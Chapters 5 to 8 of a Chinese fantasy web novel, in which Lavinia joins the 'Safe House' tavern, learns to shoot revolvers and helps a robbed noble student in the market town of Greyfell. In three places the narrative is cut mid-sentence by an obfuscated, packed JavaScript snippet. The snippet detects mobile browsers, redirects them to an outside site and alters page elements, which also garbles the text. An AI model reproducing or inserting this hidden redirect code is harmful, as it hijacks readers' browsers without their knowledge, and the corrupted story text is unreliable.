他换了个姿势，双手交握，手肘支在膝盖上，望着她的眼睛：“我之前在信里说的完全算数，你理应拥有这家酒馆的一半。但即使不是这样，我也很乐意为你提供帮助——就算没有血缘，你的母亲也是我唯一的家人。” 这位酒馆老板向拉维妮娅笑了一下，脸上的胡须抖动起来，“欢迎来到安全屋酒馆。这里以后就是你的家了，随便你把我当成什么，舅舅，合伙人，或者你永远忠诚的朋友。” 他把手伸到头顶上，握住一片空气，行了个装模作样的脱帽礼。 “总之——欢迎回家。” 也许是之前睡了太久，隔天清晨，拉维妮娅早早地醒了，并且感觉自己短时间内不会再想入睡。她看着窗帘缝隙里透出的灰蓝色天光，感受了一下背部的伤口，试探着坐起身。忍受过那一阵痛感后，她在床边找到了她的鞋，准备四处看看。 她在走廊徘徊了一阵，这里是二楼，有四个房间，并排挤在一条狭长走廊的两侧。走廊的一端有个小窗户，可以望见房子的后院，那里有个男孩正在劈柴。拉维妮娅探头看了看，这里确实比她之前经过的地方情况好得多，地面是坚实的土壤，房屋和院子的矮墙周边长着绿色的植物，院子里也有几株长势不是非常喜人的蔬菜。 一阵叫声拉回了她的视线，院子里的男孩看着她叫起来，喊着米拉的名字冲进后厨。拉维妮娅急匆匆地回过身，走向走廊另一端的楼梯，在她挪到楼梯中央的时候，米拉已经出现在下方的楼梯口。 “拉维妮娅小姐，你该再休息一会的。”她插着腰，不赞同地看向拉维妮娅。 “我感觉好多了。”拉维妮娅有点心虚地说，“我就是……想看看酒馆的样子，顺便吃个早餐。” 米拉皱眉看了她一会，无奈地叹了口气。 “好吧，去楼下找个位置坐，我给你弄点早餐。” 拉维妮娅缓慢地走到一楼的大厅里，这里随意地放着几张大小、形状、风格都完全不同的桌子，椅子不远不近地散落在桌子周边——显然也不是配套的。她在吧台边的一张小桌旁坐下，继续打量着周围：酒馆的大门已经打开，可以看到两侧连接着的狭窄前廊。门外灰蒙蒙的，显得很空旷——事实上，到目前为止，酒馆里还没有一个客人。 她刚刚意识到这一点，门外就出现了一个人影，当她看清来人的面容后，不可避免地惊讶起来：杰拉尔德正打着哈欠踏进酒馆的大门。 5. 第 5 章 杰拉尔德显然也看见了她，他的哈欠打了一半，半张着嘴，瞪大了眼睛望着拉维妮娅。他们就这么像两个傻子似的四目相对了几秒，杰拉尔德抢先打断了这一尴尬的境况，迅速闭上嘴，向吧台的位置走去。 “我正打算来看看你。”他在对面的位置坐下，“感觉怎么样？看起来你比我想象中好多了，我本来以为你还得躺几天。” “我其实昨天才醒。”拉维妮娅耸耸肩，但很快龇牙咧嘴地放弃了这个动作，“米拉小姐确实希望我再躺几天，不过……既然醒了就很难一直躺着了。” “啊，你已经认识米拉了——她在厨房？”杰拉尔德朝后厨的方向看了一眼，压低声音说，“那你有没有吃她做的三明治？” “嗯？”拉维妮娅疑惑地眨眨眼，“我还没吃过东西……但是有什么问题吗？” “那你可要小……” “怎么了？”米拉端着餐盘出现在杰拉尔德身后，“杰里，几天没见了。” “没什么。”杰拉尔德面不改色地转向米拉，“真高兴见到你，米拉。” “是吗？”米拉把餐盘放在拉维妮娅面前，缓声说：“我给你做了份三明治。但你不能在这待太久，亲爱的。你的伤口还需要静养。” “谢谢。”拉维妮娅拿起三明治，发现杰拉尔德正直直地盯着她，脸上的表情非常微妙。她直觉错过了一些需要知道的“重要信息”，但是米拉已经重新转过头去：“你的委托怎么样？听说你这次和本森接了个大单。” “别提了。”杰拉尔德翻了个白眼，“路上损失了一辆货车，那老狐狸直接扣了一半的委托费——那车队足足有八辆货车！你也知道，我们还在路上毙了只沙蜥，多亏了这位小姐才——唔。” “拉维妮娅？”米拉关切地望着她，“你还好吧？” “……我很好。”拉维妮娅鼓动着腮帮子，艰难地把嘴里勉强称之为食物的东西咽下去，“可能是吃的太快了。” “对了，你都好几天没吃东西了。”米拉笑了笑，“别心急，不够的话我可以再做一份。” “不用了！……我是说，一份就够。” 米拉眨眨眼，还想说些什么，杰拉尔德十分及时地转移了话题：“阿诺德呢？我感觉我一辈子没看见他了。” “他去夜巡了，半小时之前才回来，现在估计谁也叫不醒他……你小子到底是来干嘛的？” “我的错。”杰拉尔德顺手拿起盘子里剩下的半块三明治塞进嘴里，含混不清地说：“麻烦来一杯热啤酒，一份煎蛋配肉排，谢谢。” “别抢别人小姑娘的早餐。”米拉毫不留情地一巴掌呼在杰拉尔德的后脑勺上，在后者的痛呼声中，用柔和的声音说：“抱歉，拉维妮娅。你吃饱了吗？我也给你拿份肉排来吧？……嗯，好的，你是该多吃点。” “谢谢你。”米拉的身影消失在厨房后，拉维妮娅小声说，“之前和现在都是。” “这没什么。”杰拉尔德说，他还在试图吞咽嘴里的三明治，“况且我也收了钱。” 拉维妮娅看着他扭曲的表情，突然笑了起来，身体的抖动牵动了伤口，使得这阵笑声不得不以一口冷气作结。 “阿诺德说的对。”拉维妮娅还保持着微笑的表情，抽着气说，“你确实是个好人。” “他是这么说我的？” “差不多吧。”拉维妮娅向他伸出手，“我们现在是不是算朋友了？不然你也不会来看望我，对吧？” “……这是你的什么交朋友的仪式吗？”杰拉尔德看了那只手一会，还是握住了它，“好吧，就按你说的来，小姐。” “这是在做什么？”米拉端着两份肉排再次出现，“你们开始玩掰手腕了吗？” “别开玩笑了。”杰拉尔德收回手，“谢谢，上次的悬赏金拿到了吗？酒菜的钱就从那里扣怎么样？” “我正要说这个。”米拉放下餐盘，转到吧台后面拖出一个箱子。 “一千金镑，一分不少，那位伯爵夫人真是大方。”她把箱子重重放在杰拉尔德脚边，“按老规矩，我们收一百手续费，没问题吧？” “再分三分之一给拉维妮娅小姐吧，能搞定那只沙蜥也有她的功劳——明天我还有个新的护送委托，赏金暂时存在这，下次再给我吧。” “哦，你今天可真大方。”米拉把箱子塞回吧台后面，“本森会同意？” “我会让他同意的。”杰拉尔德切了块肉排，懒洋洋地说，“再说了，我什么时候不大方了？” “随你怎么说。”米拉耸耸肩，找了个空杯子给自己也倒了杯热啤酒，倚着吧台慢慢喝着。 一时间没有人说话，好像这不过是一个普通的早晨，像酒馆之前、以及之后的无数个早晨一样，度过人生中的一段安宁的时刻。 拉维妮娅的伤口恢复得比想象中要慢，在经历了一次又一次的上药和愈合魔法的尝试后，等到她完全恢复健康，时间已经过去了大半个月。 在这段时间里，拉维妮娅开始帮酒馆做一些不太耗费体力的工作，比如确认进货单，记录当日的收支，收拾餐盘和杯子之类。而就是这些工作让拉维妮娅发现了一个残酷的事实：酒馆的生意坏的惊人，就算是生意最好的时候，客人也不过把大厅坐满了一半。 “酒馆的账目太糟糕了。”拉维妮娅在某一天把账本摊在阿诺德面前，崩溃地说，“这么多年你们到底是怎么坚持运营下去的？” “大部分物资都能储存很久，况且我们会做一些委托的中间人，就像那只沙蜥，你也赚了点，记得吗？”阿诺德站在吧台后面，仔细地擦拭一只酒杯，“夜巡的时候我们也会碰到一些怪物，即使没有悬赏，它们身上的导体矿也能赚点。” “你是在告诉我，酒馆的主要收入其实是来自悬赏和卖导体矿？”拉维妮娅不可置信地说，“那我们为什么要开酒馆？我们是什么以酒馆为幌子的佣兵组织吗？” “开酒馆不好吗？”阿诺德睁大眼睛看着她，看起来有点心虚，“大家一起在酒馆里喝酒，热热闹闹的多好啊。” “你知道我不是这个意思……” “好啦，不开玩笑了。”阿诺德笑呵呵地放下手里擦干净的酒杯， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14879052|159714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拿起另一个，“你也看到了，这不过是一个小镇子，本身也没几个人，我们的酒馆主要是为像杰里那样的佣兵服务的。” 他示意了一下墙上贴着的告示，平心而论，那不过是一块脏兮兮的纸片，上面简单地写着一句话：本店禁止斗殴。 “这里是人为规定的''安全屋''，我和你母亲做佣兵的时候就想有这么一个地方，不用把脑袋别在裤腰上，可以安心地喝点酒，聊聊天，醉倒在桌上睡个好觉。” 他像是想起了什么，表情非常柔和：“至于生意，我和米拉也都不是很懂，就随它去了。” “……但它既然是个酒馆，就该作为酒馆运营。”拉维妮娅看着那块告示，沉默了一会，坚持到。 “比如，你可以把那块纸条换成醒目一点的告示版，然后在门口挂上今天的酒水单。”她抱着胳膊说，“我不是刚赚了点？成本算在我头上。” 阿诺德看着她，似乎是愣了一下，随即大笑起来。 “你现在真有点老板的样子了。”他说，“好啊，就按你说的办——不过在那之前，你得先把伤养好，然后挑个合适的防身武器——相信我，在无人区，你到哪都会需要这个的。” 这下轮到拉维妮娅觉得心虚了。 “呃，我得告诉你点事。”她说，“虽然我学了点剑术，但是确实只有一点……” “别担心。”阿诺德说，“我们会把你也列进夜巡排版表里的，你慢慢就会知道怎么做了。” 即使已经有了心理准备，当看到酒馆地下室里满满当当的武器储备，拉维妮娅还是吃了一惊。 “……我们真的不是拿酒馆当幌子的佣兵组织吗。” “有备无患。”阿诺德走到挂满武器的墙边，随手取下一柄短剑，“试试看？” 拉维妮娅接过剑，犹豫地看了看他。这里空间狭窄，实在不是“试一试”的好地方。 但阿诺德已经拿起另一把剑，示意她放马过来。 “……好啦，我知道了。”几声金属的撞击声后，阿诺德无奈地说，“看来你确实只懂一点。” “我说过了。”拉维妮娅干巴巴地说。 “那么，试试这个吧。”阿诺德转向另一面墙，从上面取下一对左轮手枪。 “看刚才持剑的动作，你的魔法匹配度应该不错，用这个会方便些。虽然魔法的灵活性不如刀剑，但是泛用性更强——你只要学会开枪就行。” “我能问问那是什么吗？” 他们同时看向一柄造型奇怪的长刀，它的刀身和刀柄都很宽，刻着长串的符文，刀柄末尾还隐蔽地安着一个板机，像是火器和刀剑的古怪结合。 “那是米拉常用的。”阿诺德走过去取下它，“你想拿拿看吗？——哦！小心点。” 确实得小心点。拉维妮娅抓住它的时候才发现这东西沉得吓人，她几乎要蹲下才避免给刚刚恢复健康的身体造成二次创伤。 阿诺德却笑起来，把武器挂回原位。 “走吧，我来教你用那两把左轮。”他说，“这个就还给无所不能的米拉小姐吧。” 6. 第 6 章 等到本森.福斯特终于想起他还有一笔赏金寄放在“安全屋”酒馆，时间已经过去了好几个月。 “好久不见，各位。”他像个舞台剧演员一样大张着双臂出现在酒馆门口，“你们一定很想我。” “你的钱又花完了，是吧？”米拉一手端着一个餐盘，侧身经过他，“免费的三明治，来一份吗？” “不了，谢谢。”本森走到吧台边上坐下，“你说对了，我是来取钱的——来杯威士忌吧。” “威士忌，还有你的钱。”一个编织袋被放在他面前，“这杯就算我的了。” “啊，拉维妮娅小姐。”本森顿了一下，朝她笑起来，“看来您真的来这里做老板了？真是太好了，这次必须买您的面子——我们一人三百金镑，再公平不过了。” “……顺便一提。”他说，“您的新发型不错，很有……呃……” “您不用这么客气。”拉维妮娅咬牙切齿地说，不由地又摸了摸脑后的头发——那里只剩下齐耳的发茬，大约几天前阿诺德自信地提出要帮她修剪头发，结果在剪下一刀之后又“谦虚”地改口：“其实对于理发我只懂一点。” 那时她的发型就已无法挽救了。夜巡回来的米拉看着她有长有短的头发，欲言又止了半天，很给面子的没有当场笑出来。“你该想到的。”她最后满含同情地说，“看看他自己，那把胡子起码有三年没剪了。” 阿诺德反驳道他会定期修剪胡子的形状，只是不想那么频繁地剃胡子——没有人搭理他，米拉正忙着把拉维妮娅的头发补救得正常一些，拉维妮娅——拉维妮娅不想说话，这也是可以理解的。他只好先负起一个老板的责任来，先下楼去招待客人，当然，晚些时候还得帮忙打扫一下房间。 “说起来，今天酒馆的人是不是比平常多了点？”时间回到现在，本森喝了口威士忌之后说，“今天是什么特殊的日子吗？” “不。”拉维妮娅有些得意地说，“平常就这些人。” 在新增了告示板和酒水单之后，酒馆的客人居然真的多了一些。虽然收入情况并没有好太多，但也足够让人高兴了。 “拉维。”阿诺德此时从酒馆前门探身进来，“新的啤酒到货了，来帮忙卸个货。” “来了！”拉维妮娅向米拉招招手，示意她看一下吧台。 当走到门外的时候，她忍不住抱怨到：“一定要用这种方法锻炼臂力吗？要是有一天损伤了手臂不就得不偿失了。” “有我看着呢。”阿诺德轻巧地说，“况且你都干了两个月了，也没出什么事吧？” “但是左轮的后座力还是会影响准头。”拉维妮娅皱着眉头搬起一个酒桶，“要这样练多久才行？” “客观地说，后座力总会存在的。”阿诺德在一旁稍微帮了她一把，“多练练，误差就能小一点了。” 拉维妮娅痛苦地叹了口气。 “别急于求成。”阿诺德慢悠悠地说，“你也可以用一些加强力量的符文魔法护具，但是魔法的根基也是自身的力量，加强一点没有坏处。” “好的，好的。”拉维妮娅拖长声音说，“妈咪二号。” “打起精神来。”阿诺德安慰到，“等到下个月你和米拉去格雷菲尔的时候，就可以考虑买个魔法护具了。” 阿诺德口中的格雷菲尔是无人区难得的大城镇之一，它坐落在南部沿海地区，有着得天独厚的货运优势，这也使这座港口城市成为了无人区最大的交易市场所在地。到了秋天气候适宜的时候，大部分周边小镇的居民都会自发地聚集到格雷菲尔，举办为期一个月左右的大集市。 米拉和阿诺德几乎每年去凑个热闹，左右不过是关几天酒馆，也没人在乎。不过今年，由于酒馆的生意空前地好了一些，阿诺德决定留在酒馆，照看一下来之不易的生意。 “其实我们还是可以一起去的。”拉维妮娅放下最后一只酒桶，“酒馆的生意也没好多少。” “我一年不去也没有关系。”阿诺德拍拍她的肩膀，“记得给我带两件新衬衣就好。” “说到这个。”拉维妮娅眯起眼睛，“我觉得……还有些东西是你会需要的。” “哦？什么？” “……剃刀。”几个小时之后，拉维妮娅笑眯眯地接上了他们的对话，此时阿诺德被她和米拉合力绑在椅子上，贴心地在胡须上打满了泡沫。 “不！”阿诺德激动地叫起来，几乎能听出哭腔，“我喜欢我的胡子！它们又没有什么问题。” “我的头发之前也没有什么问题。”拉维妮娅冷酷地说，“况且你的胡子已经打结了。” “我会定期打理的！米拉？” “我同意。”米拉抱着胳膊说，“——你的胡子已经打结了。” “不——” …… “哇。”拉维妮娅握着剃刀，颇为意外地看着阿诺德，“你真该自己看看，我觉得你之前要是定期刮胡子，酒馆的生意绝对不止现在这样。” “他年轻的时候是挺英俊的。”米拉凑上来赞同到，“只可惜不知道什么时候审美就跑偏了。” “现在也挺不错。”拉维妮娅说，“就这样吧，我们会给你带足够的剃刀的。” 这回轮到阿诺德不想说话了。 即使当时情绪抵触，当他们如期出发去格雷菲尔时，拉维妮娅还是满意地看到了阿诺德依旧打理干净的下巴。她们挥手向阿诺德和满脸菜色的帮工亨利告别——后者意识到他的工作要翻倍了。 到格雷菲尔的路程不过几天。她们乘着马车，沿河流南下，一路上天气都好得惊人。越向南走，土地越是湿润，绿色的植被成片地出现，逐渐向小片的树林过渡。当马车翻过又一个树木遮掩着的山坡，格雷菲尔灰色的城墙终于出现在她们眼前。 “这儿的人可真多。”拉维妮娅感叹到，“我都要忘了自己在无人区了。” “第一次来这的时候，我也这么觉得。”米拉说，“那简直是我这辈子见过人最多的时候。” 她们的马车汇入进城的长队里，缓缓向前移动着。 作为一个大型城镇，格雷菲尔的防御措施显然不能是自发组织的夜巡。这里的几大商会集资，用石块和泥土混合草木灰铸成了半包围的防御外墙，三处出入口的城门到傍晚就会关闭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14879053|159714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。好在作为贸易之城，想要进入它也没有什么其他限制，就算是没能赶上时间进城，城外也有临时过夜的小型掩体——这儿的商人可不会放过任何一个赚钱的机会。 “它居然真的是全灰色的。”马车经过城门的门洞时，拉维妮娅眯起眼睛看着城墙平整的表面，“我现在理解这里为什么要叫格雷菲尔了。” “哎呀，看来您是第一次来。”靠近城门的摊位上，一个商人热情地向她们搭话，“早年我们都叫它''灰市场''，这儿的一部分泥土天然就是灰色的，大家都觉得也许是有什么特殊的魔力——” “它确实能提炼出导体矿来，只可惜质量不好，比不上那些怪物身上的天然结晶，甚至比不上附近的矿场。”一个老头接话到，“不过也正因为如此，现在这里可比那些矿区好多了，那群家伙一天也找不出几块矿来。” 老头隔着一辆马车，挤过来一只瘦骨嶙峋的手：“他们不知道，重要的是找到矿脉。我的咨询摊位在……” “嘿，老东西，别挡着别人的路！”商人大喊到，“这两位女士怎么会对矿脉感兴趣？她们明显是来采购布料的！看看我这的布料，小姐……” “先来看看我的！小姐，您会感兴趣的……” …… “……我的天呐。”拉维妮娅从传单和推销的激烈竞争里勉强回过神来，“这里的商户还真是……热情，我刚才差点被挤下马车。” “那里太靠近城门了，位置不够好，他们只能抓住人们进城的时候。”米拉抓了抓有些凌乱的头发，“再往里些就好了，等在旅馆安置了行李，我们就去中心市场。” 马车拐过几个弯，驶到一条更繁华的街道上，这里的店面都不是临时搭建的商铺，看上去要明亮精致的多，连店主也比之前的要冷静不少。 在这条街的尽头就是中心市场，也因此，这里挤满了来往的行人，马车摇摇晃晃地，走得比行人还要慢。 好在她们并不赶时间，拉维妮娅站起来，半趴到马车顶棚上，指着不远处靠近街道中心，看起来最气派的建筑问：“看那，那是什么地方？我们在城门口都没碰见守卫，这里居然有。” “那是格雷菲尔拍卖行。”米拉说，“也是这里唯一的拍卖行，卖的都是有价无市的东西，据说就连贵族都会匿名来这里拍卖——不过这点也没人知道是不是真的。” 她们缓慢地挪到了这栋建筑前，拉维妮娅这才看见一个蓬头垢面的男人正拽着其中一个守卫的衣角，大声地说着什么。 守卫显然不为所动，在几番拉扯后，男人被一把推了出去，跌跌撞撞地掠过几个行人，居然直直地撞在了她们的马车上。 “嘿！”米拉及时拽住缰绳，稳住了马车，“小心点！……呃，你，您没事吧？” 男人抬起头来，露出一张年轻的、线条分明的脸。此时他像是傻了似的，愣愣地看着米拉。半晌，他死死地抓住米拉的手，灰眼睛里闪出几分泪光。 “美丽的小姐，很抱歉以这样的方式认识您。”他目光灼灼地望着米拉，“但请您帮帮我吧！求您了！” “——我的钱都被骗光了！” 7. 第 7 章 大约一小时后，在一家以性价比著称的旅馆里，米拉叹着气在临时账目上记下几笔计划之外的服装和住宿支出。 “我们的预算现在紧得吓人。”她抿着嘴把账本展示给拉维妮娅，“亲爱的拉维小姐，你要是还想多买几身换洗的衣服，就最好解释一下为什么突然善心大发地救下一个突然冒出来的流浪汉。” “……我很抱歉。”拉维妮娅老老实实地说，“我其实不确定能不能赚到钱。” “赚钱？”米拉眯着眼睛看她，“……说详细点。” “可以确定的是，这小子不是什么流浪汉。”拉维妮娅说，“首先，他的口音是标准的阿尔伯恩首都口音，只有在首都受教育的贵族会用这个口音说话；其次，他的衬衫袖扣上有家族的纹章；最后……” 拉维妮娅把“流浪汉”抵押给她们的袖口在指尖转了一圈，使袖口上的纹章正对着米拉的视线——那是由某种针叶树的花纹交缠组成的字母“H”。 “最后，我在几年前的某次皇家晚宴上见过荷莫伍德家族的继承人——这位''流浪汉''先生和他长得有八分像。” “也就是说，如果他说得都是真的……”米拉看着那个纹章说，“帮忙找回那笔被骗走的钱，我们就能得到贵族少爷的一大笔报酬？” “我就是这个意思。”拉维妮娅凑近米拉耳边，小声说，“而且，和我家的情况不一样，荷莫伍德家不是一般的有钱，我觉得他们不会在报酬上小气的。” “但是这些都只是你的推断，对吧？”米拉轻轻点了点拉维妮娅的额头，“好吧，你说得对，值得一试——去看看那位小少爷吧，这么长时间他总该梳洗完了。” “总之，还是要先感谢你们的帮助，女士们。”另一间更小一点的旅馆房间里，在经过了一番还算友好的沟通后，小少爷终于开始讲述他的倒霉经历。 “我的名字是拉斐尔……拉斐尔.荷莫伍德。”他似乎是想起了什么糟心的事，重重叹了口气，“大约五天前，我坐船到格雷菲尔的港口……” 依照拉斐尔的描述，他是来无人区收集研究素材，完成他的研究报告的。这位贵族少爷同时也是一名大学在读学生，在法阵魔法研究领域目前为止毫无建树。他的研究报告还卡在选题阶段，但为了获取灵感，他不顾导师和亲人的阻拦，执意独自来到无人区，寻找法阵运用的非常规方法——用他的话说，任何一个拥有热血的研究员都会这么做的。 这位满腔热血的研究员一下船就受到了格雷菲尔当地人热情的欢迎——一个年轻男人凑上来和他打招呼，自荐成为他的向导，为他引荐周边使用法阵的商户和独立研究学者。拉斐尔满心欢喜地答应了，结果在带着他穿过几条街道后，那位向导就带着拉斐尔的行李箱，迅速消失在了人群中。 拉斐尔也不是没有想过追上去，但只是徒劳。他渡过了地狱般的几天，在被一个孩子“意外”撞了一下后，他失去了身上的最后几块钱，彻底沦为身无分文的流浪汉。 最后，走投无路的他试图获得守卫的帮助，但这里守卫的职责根本不是维护治安，这些由商人高价雇来的守卫显然没兴趣听一个流浪汉说话——再之后，他就撞上了拉维妮娅和米拉的马车。 “那么，你为什么要向我们求助？”米拉抱着胳膊问，“我们看上去也不是治安官吧？” 拉斐尔轻咳了一声，似乎是有些害羞了。 “……您，您很美。”他向米拉行了个绅士礼，有点局促地说，“可能有点奇怪，但是……我不由得觉得……您会是个好人。” “……好吧，我们会帮你的。”米拉说，“但这是要收钱的，你得雇佣我们——这你可以理解吧？” “当然！我会付钱的，只要我联系上家里，不，只要我联系上我哥，我……” “那就没问题了。”米拉止住了他的话，“今天有些晚了，你先休息吧，明天我们会处理这件事。” 她没怎么仔细听拉斐尔的道谢，摆摆手走出门去，压低声音对拉维妮娅说：“……这孩子的精神没问题吧？” “别这样，米拉。”拉维妮娅也小声说，“说不定他就是对你一见钟情了。” “……可别。”米拉打了个寒战。 第二天一早，他们就去了中心市场。这里实际上是一个接近十米的巨坑，早年间人们试图在这里开辟矿场，但以失败告终，只留下半成品矿坑的遗骸。商户们现在在人工开凿出来的平台上驻下，呈螺旋状一圈又一圈地排列在坑壁上。米拉带着他们七拐八拐地找到一个接近坑底的角落，在一顶装饰着草药和羽毛的帐篷前，她毫不迟疑地撩开帐篷的门帘走了进去。 “这里有点像……”拉斐尔看着帐篷里的草药、熏香、水晶摆件以及中央的水晶球说，“呃，占星师的帐篷。” 他看上去比前一天要正常多了，语气温和，即使非常疑惑，态度也还是彬彬有礼。 相比之下拉维妮娅就不太客气了。 “这是什么地方，米拉？”她问，“占星不是江湖骗术吗？” “哎呀，亲爱的，你这么说我可要伤心了。” 在一阵风铃的撞击声中，水晶球后方的布帘被一只纤细的手拨开，露出一个人影来。 这是一个女人，一个漂亮极了的女人。 那些精致的五官在她脸上无一不是适宜的：高挺的鼻梁，小巧的鼻尖，红润纤薄的嘴唇；而在这些柔软甜蜜的线条上方，那对低低的、纤细的眉毛和黑沉沉的眼睫却显出一股天然的忧郁来。当她抬起眼睛，用那对浓郁的翡翠色眼珠盯着什么人时，那人恍惚间像是成为了某种冷血动物的猎物。 拉维妮娅正被她这么盯着。 “我是凭本事吃饭，童叟无欺的。”她用一种甜蜜轻盈的语调说，“可不是什么骗子呀——拉维妮娅小姐。” 拉维妮娅瞪大眼睛，错愕地看着她：“你是怎么知道……” “好了，别逗她。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14879054|159714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”米拉上前一步，挡在拉维妮娅面前，“介绍一下，这位是安西娅小姐，格雷菲尔的''女巫''，也是本地最大的——情报贩子。” “你们可以直接叫我安西娅。”安西娅用手指绕着一缕栗色的卷发，笑眯眯地说。她接着转过头，眨巴着眼睛看向米拉：“你怎么不像我介绍一下这两位可爱的孩子呢，亲爱的？” “我觉得我没什么必要介绍。”米拉说，“看起来你早就知道了。” “怎么能这么说呢，我只是偶然听说罢了。况且，今天上午你们是第一个来找我的，陪我聊聊天嘛。” “我们有急事。”米拉不为所动，“这位先生的行李前几天被人抢了，我们要把它找回来。” “哦？”安西娅在水晶球后方坐下，隔着半透明的晶体看向他们，“是要找行李，还是要找某件行李？” “我的行李里有我的研究手稿。”拉斐尔说，“我必须找到它……其他的我都不太在乎。呃，当然，能都找到最好。” “嗯，好吧。”安西娅支起一只胳膊，托腮看着他，“您还记得那位抢你行李的人长什么样子，名字叫什么吗？” “嗯……他好像和我差不多高，深色头发。”拉斐尔努力回忆道，“但那天有点晚了，我没太注意其他细节……对了，他说他叫……杰拉尔德.洛佩兹，这个我应该没记错。 “什么？” 拉维妮娅和米拉惊讶地对视一眼，几乎异口同声地说。 “他已经讨厌贵族到这个地步了？” “他终于和本森一样入不敷出了？” 回应她们的是一阵银铃般的笑声。 “哦，我就知道会这样，真有意思。”安西娅几乎趴在放水晶球的桌面上，眼角都笑出了眼泪，“杰里要是知道他在你们这的名声这么糟，表情一定也很精彩。” 在米拉威胁的目光下，安西娅终于勉强止住了笑，从桌边拿了张便条，写下一个名字和地址。 “去找这个人，他负责处理赃物。”她说，“如果动作快点，也许那些行李还没被转手。不过要是想找抢你东西的人，可就要麻烦点了。” 她纤细白皙的手指按着那张纸片，把它推出去，却在米拉拿到它之前突然又把它挪向自己的方向。 “我收二十金镑。”她微笑着说，“或者——让拉维妮娅小姐如实回答我几个问题。” “我付钱。”米拉说，也伸手按住那张纸片。 “哎，你总是那么谨慎。”安西娅松开手，轻飘飘地叹息道，“我都要开始怀疑我的魅力了……你难道讨厌我吗，米拉？” 米拉冲她笑了一下。 “很高兴见到你，安西娅。” 他们很快找到了销赃地点，结果却不尽如人意。负责销赃的男人在米拉的“热情招待”下，一边求饶一边坦白，文献里和矿脉有关的研究已经被某个商家买走，而剩下的——很不幸，剩下的文献被他当作废纸，随手扔在了港口附近。 8. 第 8 章 “你……你把文献扔……扔……”拉斐尔看起来脸色苍白，已经快要晕过去了。 “我、我记得我扔在哪了！”被米拉拎着领子的男人大叫到，“港口旁边的街上有几条小巷子，除了放杂物没别的，我就扔在其中一条巷子里！” “现在要怎么办？”米拉松开手，“你是要先去翻垃圾堆，还是先去找那个商户？两边去晚了可都来不及了。” “我们分开找怎么样？”拉维妮娅说，“我去港口找被扔掉的部分，你们去找那家商户。” “也是个办法……你确定你没问题吗？” “翻个垃圾堆总不会出什么事。”拉维妮娅笑着说，“况且我觉得，阿诺德的训练还是颇有成效的。” “那就这么办，不过……”米拉把销赃人被迫交出的一小袋金镑分成扔给眼巴巴看着她的拉斐尔，向拉维妮娅示意到，“让他跟着你。” “米拉……”拉维妮娅微微眯起眼睛，“你这样就有点……” “我是出于理性考虑。”米拉心虚地别过头，“找东西这种体力活需要多点帮手……对吧？” 无论米拉说出这句话的本意如何，在翻了快两小时垃圾堆后，拉维妮娅都不得不同意她的话了。 “这堆纸都快有我小腿高了。”她皱着眉头翻开半只脏兮兮的木桶，那下面除了一滩五颜六色的污渍什么都没有，“应该快找齐了吧？还有什么缺漏吗？” “大部分都在这了。”拉斐尔拿着碎成几块的纸片，毫不嫌弃地把它们小心拼在一起，“我猜到可能有一些无法拯救的……不过能找回这么多也很好了。谢谢您，拉维妮娅小姐。” “这没什么。既然这样，我们先回……嘿！” 在她说话的短短几秒里，一个瘦小的人影像一只鸟儿似的冲进小巷，在拉斐尔惊恐的目光中，把刚刚整理好的文献重新变成了混乱的无序状态，本就不再干净的纸张几乎要飞到半空中，又晃晃悠悠地落到更脏的地方。 几个满脸怒容的男人匆匆路过小巷巷口，他们中的一两个向小巷里看过来，但也许是拉斐尔的表情太过悲戚，他们没有在此停留，很快往另一个方向去了。 而这一切的罪魁祸首，正一边喘气一边探头探脑地观察着巷口的情况。 在确定那些人不会回来后，孩子圆滚滚的眼珠转了转，向巷子里剩下的两位成年人露出一个讨好的笑来：“嗨……我很抱歉。” 在这只小鸟又准备开溜之前，拉维妮娅一把抓住那只细瘦的胳膊：“别想跑。你是来干什么的？” “放开我！”孩子挣扎起来，“我不知道你在说什么！” “是吗？”拉维妮娅从孩子的上衣口袋里扯出一个包裹，“那麻烦你解释一下，为什么旁边这位先生的钱袋会出现在你这里？” “嗯……嗯？”拉斐尔抱着一摞堆得乱七八糟的文献，茫然地抬起头，接着像想起什么似的，在身上摸索起来，“钱袋？钱袋……什么时候的事！” 孩子的视线在他们脸上转了一圈，突然一撇嘴，眼泪从灰扑扑的脸颊上滚落下来，每一颗泪珠都比本人更加饱满滚圆。 “……对、对不起……呜呜……”孩子抽抽噎噎地说，“我也不想这样的……但是母亲生病了，总也不好……舅舅又嫌我们是累赘……” 拉斐尔的表情有点扭曲，拉维妮娅看得出来，这位少爷的同情心已经开始发作了；但这孩子的脸色变得未免有些太快了，难免让人心生怀疑。 “嘿，我就说那小子在这！” 一个愤怒的嗓音在他们身后响起，刚才走远的男人们去而复返，已经大步走到他们面前。 